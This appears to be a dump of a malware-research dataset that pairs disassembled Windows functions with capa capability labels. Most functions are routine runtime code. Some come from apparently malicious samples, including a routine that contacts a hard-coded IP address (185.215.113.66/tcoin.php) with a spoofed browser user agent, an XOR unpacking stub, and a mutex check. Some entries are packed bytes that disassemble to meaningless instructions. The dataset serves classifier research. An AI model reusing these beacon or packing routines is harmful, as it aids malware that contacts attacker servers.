joyce8/EMBER2024-capa huggingface dataset:
Function at 0x30040b45
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x3001dedc]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x3007cf07], 0
jne 0x30040b9f
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x30040b98
cmp dword [ebp - 0x110], 2
jne 0x30040b98
cmp dword [ebp - 0x11c], 6
jb 0x30040b98
call fcn.300409fa
mov byte [0x3007cf06], al
mov byte [0x3007cf07], 1
mov ecx, dword [ebp - 4]
mov al, byte [0x3007cf06]
xor ecx, ebp
call fcn.30040fc0
leave
ret

Function at 0x30040f0c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x3001dee0
push 0x3000e1ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x30040f41
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [ebp - 8]
xor esi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ebx, 0x3001dedc
push ebx
call edi
test esi, esi
mov dword [0x3001dedc], esi
jne 0x30040fa5
mov dword [0x3001dedc], 0xbb40e64e
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push ebx
call edi
pop edi
pop esi
mov dword [0x300773c0], 0x44bf19b1
pop ebx
leave
ret
Function at 0x30040fc0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3001dedc]
jne 0x30041cda
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x3007d070], eax
mov dword [0x3007d06c], ecx
mov dword [0x3007d068], edx
mov dword [0x3007d064], ebx
mov dword [0x3007d060], esi
mov dword [0x3007d05c], edi
mov word [0x3007d088], ss
mov word [0x3007d07c], cs
mov word [0x3007d058], ds
mov word [0x3007d054], es
mov word [0x3007d050], fs
mov word [0x3007d04c], gs
pushfd
pop dword [0x3007d080]
mov eax, dword [ebp]
mov dword [0x3007d074], eax
mov eax, dword [ebp + 4]
mov dword [0x3007d078], eax
lea eax, [ebp + 8]
mov dword [0x3007d084], eax
mov eax, dword [ebp - 0x320]
mov dword [0x3007cfc0], 0x10001
mov eax, dword [0x3007d078]
mov dword [0x3007cf74], eax
mov dword [0x3007cf68], 0xc0000409
mov dword [0x3007cf6c], 1
mov eax, dword [0x3001dedc]
mov dword [ebp - 0x328], eax
mov eax, dword [0x300773c0]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x3007cfb8], eax
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x3001e1b0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x3007cfb8], 0
jne 0x30041dca
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret

Function at 0x30040fcd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x3000e338
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x30041025
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push 0
push 0
push 0x3000e330
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x30041025
mov al, 1
jmp 0x30041027
xor al, al
leave
ret 8
Function at 0x30041869
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x30043668
call fcn.300419d0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x3007d2b4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x3004160c
cmp eax, esi
jne 0x300415ff
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x3004160f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x300415e6
xor esi, esi
inc esi
mov eax, dword [0x3007d2b0]
cmp eax, esi
jne 0x30041622
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x30041651
mov eax, dword [0x3007d2b0]
test eax, eax
jne 0x3004164b
mov dword [0x3007d2b0], esi
push 0x3000146c
push 0x30001460
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x30041651
jmp 0x30041775
mov dword [0x3007cf60], esi
mov eax, dword [0x3007d2b0]
cmp eax, esi
jne 0x30041675
push 0x3000145c
push 0x30001444
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x3007d2b0], 2
cmp dword [ebp - 0x20], ebx
jne 0x30041682
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x3007d2c0], ebx
je 0x300416a3
push 0x3007d2c0
call fcn.30041e9d
pop ecx
test eax, eax
je 0x300416a3
push ebx
push 2
push ebx
call dword [0x3007d2c0]
mov eax, dword [sym.imp.MSVCR80.dll__wcmdln]
cmp dword [eax], ebx
je 0x30041775
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp cx, 0x20
ja 0x3004170d
cmp cx, bx
je 0x300416c8
cmp dword [ebp - 0x1c], ebx
jne 0x3004170d
movzx ecx, word [eax]
cmp cx, bx
je 0x300416dd
cmp cx, 0x20
ja 0x300416dd
inc eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x300416c8
test byte [ebp - 0x40], 1
je 0x300416e9
movzx ecx, word [ebp - 0x3c]
jmp 0x300416ec
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x30000000
call main
mov dword [0x3007cf5c], eax
cmp dword [0x3007cf50], ebx
jne 0x30041752
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp cx, 0x22
jne 0x3004171e
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
inc eax
inc eax
jmp 0x300416b2
cmp dword [0x3007cf60], ebx
jne 0x30041760
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x3007cf5c]
jmp 0x30041781
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.30041a15
ret
call fcn.30040f0c
jmp 0x300415a9
Function at 0x99768c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9976b3
call fcn.00939c18
mov dword [eax], esi
call fcn.00939c05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093a85a
mov eax, esi
jmp 0x997708
test dword [ebp + 0xc], 0xfffffff9
jne 0x997699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9976e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00939c2b
pop ecx
call fcn.00939c05
mov eax, dword [eax]
jmp 0x997708
test al, 0x10
jne 0x997706
test al, 1
je 0x997706
test byte [ebp + 0xc], 2
je 0x997706
call fcn.00939c18
mov dword [eax], 5
call fcn.00939c05
mov dword [eax], 0xd
jmp 0x9976d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x5bd3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.05bd378f
jae 0x5bd370e
xor ecx, ecx
call fcn.05bd378f
jae 0x5bd373d
xor eax, eax
call fcn.05bd378f
jae 0x5bd374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.05bd378f
adc al, al
jae 0x5bd372f
jne 0x5bd3779
stosb byte es:[edi], al
jmp 0x5bd3711
call fcn.05bd379b
sub ecx, ebx
jne 0x5bd3756
call fcn.05bd3799
jmp 0x5bd3775
lodsb al, byte [esi]
shr eax, 1
je 0x5bd3783
adc ecx, ecx
jmp 0x5bd3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.05bd3799
cmp eax, 0x7d00
jae 0x5bd3772
cmp ah, 5
jae 0x5bd3773
cmp eax, 0x7f
ja 0x5bd3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5bd3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x1001d0d5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002e8b8
push 0x1002e8b0
push str.FlsAlloc
push 0x1e
call fcn.1001cff3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d109
push dword [ebp + 8]
mov ecx, esi
call dword [0x10026174]
call esi
jmp 0x1001d10f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001d153
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002e8c8
push 0x1002e8c0
push str.FlsGetValue
push 0x20
call fcn.1001cff3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d18a
push dword [ebp + 8]
mov ecx, esi
call dword [0x10026174]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1001eac3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001eb60
push ebx
push esi
call fcn.1001ea8c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001e9d5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001eb0d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001eb5f
push edi
push eax
call fcn.1001ce10
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001eb2d
call fcn.1001cdd6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001eb5e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001e9d5
add esp, 0x20
test eax, eax
jne 0x1001eb4c
push edi
call fcn.1001cdd6
jmp 0x1001eb54
push ebx
call fcn.1001cdd6
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s_f7f7ff7ffd6.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401053
xor al, al
jmp 0x40108d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40108b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4010a0
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [ebp + 8]
push eax
push str.http:__185.215.113.66_tcoin.php_s_s
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x40110d
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x3f0]
push edx
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401db0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x401e25
cmp dword [ebp - 0x41c], 3
jbe 0x401dec
cmp dword [ebp - 0x41c], 6
je 0x401dec
jmp 0x401e25
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x401e25
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x401e25
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401e30
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x80000002
mov dword [ebp - 4], 0x80000001
mov dword [ebp - 0x14], 0
jmp 0x401e66
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x401ed6
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401ed4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401eca
cmp dword [ebp - 0x1c], 0
je 0x401eca
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401e5d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x401f60
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.hh6657577447
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401f96
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call section..text
movzx eax, al
test eax, eax
je 0x401fb7
push 0
push 0
push 0
push 0x401ef0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401530
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401fc2
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x369d3426
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x27dc46aa
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x445f12
Capabilities:
Encode data using xor

Disassembly:
sahf
sub al, 0x30
aad 0xcf
popfd
xchg ebp, eax
fidivr word [eax - 0x4b63512b]
and eax, ebp
cmp eax, 0xfc41bf9f
je 0x445f6f
stosb byte es:[edi], al
sub ecx, dword [eax - 0x650d5154]
mov ebx, 0x31612761
daa
popal
xor edi, ebp
daa
popal
xor edi, ebp
call 0x8d71ba67
push eax
lea edi, [ecx]
rol dword [eax - 5], 1
sub al, 9
pop ds
wait
mov eax, 0x8a45b116
inc ebx
nop
mov esp, 0x3f867e6c
mov esi, 0x929e8d7f
sub eax, 0x37255ef1
out dx, al
mov ecx, 0xcc37f3ae
movsd dword es:[edi], dword [esi]
loope 0x445f00
jge 0x445ef3
shl dword [esi], 0x42
mov dword [edi - 0x73eec0c3], 0x3dbea80f
pop ds
sub al, 0xaf
cwde
mov bl, 0xa6
retf
mov esp, 0x2a9ae1d7
movsd dword es:[edi], dword [esi]
mov edi, 0x1c93e28e
fimul word [ebp + 0x35]
pushfd
mov ebp, 0xb34ee89b
rcl byte [edx], 0x7d
and byte [esi], dl
pop edi
fisttp qword [ebx + 0x66]
test bl, dh

Function at 0x45cc26
Capabilities:
Encode data using xor

Disassembly:
xor byte [ebx], ah
fmul dword [edx + 0x25]
popal
fcomp qword [ebx - 0x2456a64]
pushfd
xchg ebp, eax
mov edx, 0xe285fd
invalid

Function at 0x48b8b6
Capabilities:
Encode data using add xor sub operations

Disassembly:
mov ch, byte [ebp - 0xaed0c49]
xor dword [ebp - 0x32374a5c], 0x67
movsb byte es:[edi], byte [esi]
mov ch, 0xc8
int 0x67
sbb byte [ecx - 0x7d2f9f93], cl
sbb eax, dword [ebx - 0x375a4184]
invalid
dec esi
dec ebx
sbb esp, ecx
fist word [edx]
imul ebp, ebp, 0x35d2db56
dec ebp
jb 0x48b8c8

Function at 0x48b91e
Capabilities:
Encode data using xor

Disassembly:
pop ds
pop esi
sbb al, 0xbb
dec ecx
mov al, 0x2a
mov ecx, 0x610c4506
or al, 0x61
jle 0x48b8d3
js 0x48b8ac
dec esp
dec eax
Function at 0x4bb689
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33b8
cmp edx, dword [eax]
je 0x4bb6ab
add eax, 8
inc ecx
cmp eax, 0x4c3448
jl 0x4bb69c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33b8]
jne 0x4bb7d9
mov eax, dword [0x4c8de0]
cmp eax, 1
je 0x4bb7b3
test eax, eax
jne 0x4bb6dc
cmp dword [0x4c32e0], 1
je 0x4bb7b3
cmp edx, 0xfc
je 0x4bb7d9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb713
lea eax, [ebp - 0x1a4]
push 0x4c09a8
push eax
call fcn.004bc070
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc500
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb756
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc500
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c09a4
push edi
call fcn.004be3d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c0988
push eax
call fcn.004bc070
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc080
lea eax, [ebp - 0xa0]
push 0x4c0984
push eax
call fcn.004bc080
push dword [esi + 0x4c33bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc080
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c095c
push eax
call fcn.004be344
add esp, 0x2c
pop edi
jmp 0x4bb7d9
lea eax, [ebp + 8]
lea esi, [esi + 0x4c33bc]
push 0
push eax
push dword [esi]
call fcn.004bc500
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x3b2220
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x3c2e2d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x3cb014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov ebx, ecx
push 0x3c60d8
push 0
call dword [sym.imp.advapi32.dll_RegisterEventSourceW]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push 0x28
push str.Description:_A_.NET_application_failed._n
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], eax
call fcn.003b4a80
push 0xd
push str.Application:
lea ecx, [ebp - 0x28]
call fcn.003b4a80
mov ecx, esi
lea edi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x3b22a0
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, eax
call fcn.003b4a80
push 1
push 0x3c60d4
mov ecx, eax
call fcn.003b4a80
push 6
push str.Path:
lea ecx, [ebp - 0x28]
call fcn.003b4a80
mov edx, ebx
lea esi, [edx + 2]
nop word [eax + eax]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x3b22e0
sub edx, esi
mov ecx, eax
sar edx, 1
push edx
push ebx
call fcn.003b4a80
push 1
push 0x3c60d4
mov ecx, eax
call fcn.003b4a80
push 9
push str.Message:
lea ecx, [ebp - 0x28]
call fcn.003b4a80
cmp dword [0x3cb4d8], 8
mov ecx, 0x3cb4c4
push dword [0x3cb4d4]
cmovae ecx, dword [0x3cb4c4]
push ecx
mov ecx, eax
call fcn.003b4a80
push 1
push 0x3c60d4
mov ecx, eax
call fcn.003b4a80
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
mov esi, dword [ebp - 0x30]
cmovae eax, dword [ebp - 0x28]
push 0
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push 0
push 1
push 0
push 0x3ff
push 0
push 1
push esi
call dword [sym.imp.advapi32.dll_ReportEventW]
push esi
call dword [sym.imp.advapi32.dll_DeregisterEventSource]
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x3b23b4
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x3b23aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x3b23aa
call dword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.003bfab0
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.003bfaa2
mov esp, ebp
pop ebp
ret
Function at 0x3b4780
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x3c3058
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x3cb014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ecx]
push 0
push 0
mov eax, dword [eax + 4]
mov dword [ecx + eax], 0x3c5d98
mov eax, dword [ecx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ecx - 4], eax
mov eax, dword [ecx]
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov ebx, dword [eax + 4]
add ebx, ecx
mov ecx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebx + 0x30], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0x201
mov dword [ebx + 0x18], 6
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0
mov dword [ebx + 0x24], 0
mov dword [ebx + 0x28], 0
mov dword [ebx + 0x2c], 0
call fcn.003b20e0
push 8
call fcn.003bfabe
add esp, 4
mov esi, eax
push 1
mov dword [ebp - 4], 2
call fcn.003bf424
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [ebx + 0x30], esi
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x3c], 0
mov ebx, dword [esi + 4]
mov dword [ebp - 0x14], ebx
mov eax, dword [ebx]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [sym.imp.___]
mov ecx, ebx
call esi
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 3
push eax
call fcn.003b5000
mov edi, eax
add esp, 4
mov ecx, dword [edi]
push 0x20
mov esi, dword [ecx + 0x30]
mov ecx, esi
call dword [sym.imp.___]
mov ecx, edi
call esi
movzx eax, ax
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], eax
mov eax, dword [ebx]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [sym.imp.___]
mov ecx, ebx
call esi
mov edi, eax
test edi, edi
je 0x3b48ce
mov ecx, dword [edi]
push 1
mov esi, dword [ecx]
mov ecx, esi
call dword [sym.imp.___]
mov ecx, edi
call esi
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
cmp dword [ecx + 0x38], 0
mov word [ecx + 0x40], ax
jne 0x3b48ec
mov eax, dword [ecx + 0xc]
push 0
or eax, 4
push eax
call fcn.003b20e0
mov esi, dword [ebp - 0x1c]
mov eax, dword [esi + 0x10]
lea edx, [esi + 0x10]
mov dword [ebp - 0x20], edx
mov eax, dword [eax + 4]
mov dword [edx + eax], 0x3c5da4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + edx - 4], eax
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov dword [esi + eax], 0x3c5da0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ecx + esi - 4], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8